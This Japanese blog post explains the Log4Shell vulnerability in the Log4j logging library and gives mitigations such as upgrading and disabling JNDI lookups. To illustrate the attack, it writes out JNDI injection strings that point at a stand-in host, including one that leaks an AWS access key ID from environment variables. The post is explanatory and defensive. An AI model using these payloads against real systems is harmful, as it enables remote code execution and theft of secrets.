Log4J のゼロデイ脆弱性を解明 - Log4Shell


おそらく、Log4J の脆弱性と、それが世界中のソフトウェア業界にもたらした混乱について、すでに聞いたことがあるでしょう.そして、log4j の脆弱性にできるだけ早くパッチを適用するための競争に、どのようにすべてのソフトウェア企業が参加することを余儀なくされたのか.

log4jとは?



おそらく log4j についてはご存知でしょうが、念のため、ご存じないかもしれません. Log4j は成熟した数十年前の Java ロギング ライブラリであり、アプリケーション ログを書き込むために、さまざまな組織の何百万兆もの Java コード行で使用されています.

いくつかの背景



Log4j は、アプリケーション ログ ファイルに値を記録する式をサポートしています.これは明らかに優れた機能であり、文字列連結の使用を避けることができます.

例えば.

logger.info("User auth was successful: {}", user.getUserId());


ただし、同じ式を使用して、JNDI (Java Naming and Directory Interface) や環境ルックアップなどの特殊な式を使用して値をログに記録することもできます.

例えば.

logger.info("Performing remote lookup: {}", "${jndi:ldap://192.168.1.1:8000/O=akdev,C=log4j}");


JNDI は、RESTful が登場する何十年も前にリモート オブジェクトの読み取りに使用されていた古代の J2EE 仕様であることを知っている必要があります. JNDI は、WebLogic や JBoss などの J2EE コンテナ サーバーで実行されている場合、分散システムでの通信に使用されていました.

脆弱性



それで、問題は何ですか?ここまでは問題ありませんが、ユーザー入力を受け入れ、ログに入力フィールドの値を出力する Web ページに、悪意のあるリモート サーバーの JNDI ルックアップをハッカーが挿入しようとした場合 (これは通常私たちが行うことです)、それは次のようになります.トラブルコール!

別の説明として、Google 検索テキスト ボックスの架空の例を見てみましょう.そして、Google が以下のように log4j ライブラリを使用してすべての検索テキストをログに記録しているとしましょう (おそらくそれは本当です😉、明らかに機械学習のためです😂).

logger.info("google search text: {}", searchText);


ハッカーはそれを知っているので、ハッカーは ${jndi:ldap://hackit/executeremote} のような悪意のあるテキストを検索し、この値は上記のログ ステートメントで中括弧を置き換えて、実行中の JVM で実行されます.

google search text: ${jndi:ldap://hackit/executeremote}


これにより、JVM は JVM から外部サーバーへのリモート ルックアップを実行するようになります.悪意のあるコードが JVM に送り返され、悪意のあるコード/オブジェクトがハッカーによって JVM に挿入され、アプリケーションが制御される可能性があります. .

また、悪意のある入力を渡す方法はこれだけではありません.HTTP ヘッダーをログに記録していて、ハッカーが同様の悪意のある文字列を渡すと、リモート実行が発生します.

それで、それを修正する方法は?修正する最善かつ簡単な方法は、log4j をバージョン 2.16.0 にアップグレードすることです. Maven または Gradle ビルド ツールを使用している場合は、dependencyManagement、明示的な依存関係の宣言、または Gradle の場合は依存関係の制約を使用して実行できます.
ただし、依存関係の更新は言うは易く行うは難しです.したがって、それが不可能な場合は、クラスに直接パッチを適用してください.

JNDI ルックアップを無効にできる部分的な修正もあります.しかし、log4j は環境変数のルックアップもサポートしているため、ハッカーが ${jndi:ldap://hackit/${env.AWS_ACCESS_KEY_ID}} などの文字列を入力した場合、JNDI ルックアップを無効にして JVM への着信呼び出しを無効にしても、発信呼び出しが行われ、AWS アクセス キー ID などになります.秘密が漏洩します.

参照


  • https://logging.apache.org/log4j/2.x/security.html



  • 私の他のブログ:






  • あなたがここにたどり着いたなら、私はあなたが読み続けられるように十分な努力をしました.コメントを残していただくか、修正を依頼してください.ハッピーロギング!